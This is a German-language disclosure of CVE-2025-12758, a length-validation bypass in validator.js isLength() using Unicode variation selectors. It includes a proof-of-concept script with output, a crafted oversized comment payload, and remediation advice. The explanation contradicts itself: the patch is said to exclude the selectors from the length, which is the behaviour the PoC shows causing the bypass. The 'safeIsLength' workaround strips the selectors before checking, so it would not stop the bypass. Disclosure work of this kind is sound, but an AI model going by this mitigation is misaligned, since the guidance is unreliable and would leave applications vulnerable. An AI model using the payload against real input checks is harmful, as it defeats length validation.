
Detaillierte Offenlegung von CVE-2025-12758 mit PoC, die eine Umgehung des Unicode-Variationsselektors in validator.js isLength() demonstriert, einschließlich Ursachenanalyse, Ausnutzungsszenarien und Abhilfemaßnahmen.
CVE-ID: CVE-2025-12758
CVSS-Score: 8,7 (HOCH)
Schweregrad: HOCH
CWE: CWE-792 (Unvollständige Filterung einer oder mehrerer Instanzen spezieller Elemente)
Veröffentlicht: 26. November 2025
Offengelegt: 19. Oktober 2025
Diese Schwachstelle betrifft das validator npm-Paket in Versionen < 13.15.22. Die Funktion isLength() berücksichtigt bei der Berechnung der Zeichenkettenlänge Unicode-Variationsselektoren (\uFE0F, \uFE0E) nicht, was zu einer fehlerhaften Eingabevalidierung führt.
Eine Anwendung, die isLength() zur Eingabevalidierung verwendet, kann Zeichenketten akzeptieren, die erheblich länger als beabsichtigt sind, was möglicherweise zu Folgendem führen kann:
Die Funktion isLength() filtert Unicode-Variationsselektoren bei der Berechnung der Zeichenkettenlänge nicht ordnungsgemäß heraus. Diese Sonderzeichen (Kombinationszeichen) sollten nicht zur sichtbaren Länge einer Zeichenkette beitragen, werden jedoch in der JavaScript-Eigenschaft String.length mitgezählt.
npm install [email protected]
node poc.js
Der POC demonstriert die Schwachstelle durch Testen der isLength()-Funktion:
const validator = require('validator');
// Normal "test" string - correctly rejected
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 3? ${validator.isLength('test', { max: 3 })}`);
// Output: Is "test" (String.length: 4) length ≤ 3? false
// Normal "test" string - correctly accepted
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 4? ${validator.isLength('test', { max: 4 })}`);
// Output: Is "test" (String.length: 4) length ≤ 4? true
// "test" with 4 variation selectors - INCORRECTLY accepted
console.log(`Is "test️️️️" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length ≤ 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F\uFE0F', { max: 4 })}`);
// Output: Is "test️️️️" (String.length: 8) length ≤ 4? true ⚠️ VULNERABLE!
Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true
Die dritte Ausgabe zeigt die Schwachstelle: Eine Zeichenkette mit einer tatsächlichen Länge von 8 besteht eine Validierungsprüfung für eine maximale Länge von 4.
Eine Anwendung könnte eine Benutzerkommentarvalidierung implementieren:
const MAX_COMMENT_LENGTH = 100;
function validateComment(comment) {
return validator.isLength(comment, { max: MAX_COMMENT_LENGTH });
}
const maliciousInput = 'a'.repeat(50) + '\uFE0F'.repeat(100);
// Actual length: 150 characters
// validator.isLength() incorrectly returns: true ❌
// Database accepts malicious payload ⚠️
npm install [email protected]
Die gepatchte Version behandelt Unicode-Variationsselektoren ordnungsgemäß, indem sie von der Längenberechnung ausgeschlossen werden.
Wenn Sie nicht sofort aktualisieren können, implementieren Sie eine benutzerdefinierte Längenvalidierung:
function safeIsLength(str, options = {}) {
// Remove Unicode variation selectors before validation
const cleanStr = str.replace(/[\uFE0E\uFE0F]/g, '');
return validator.isLength(cleanStr, options);
}
Überprüfen Sie, ob Ihre Anwendung anfällig ist:
npm audit --audit-level=high
Achten Sie auf das validator-Paket mit einer Version < 13.15.22.
Schwachstelle entdeckt von: Karol Wrótniak
ISC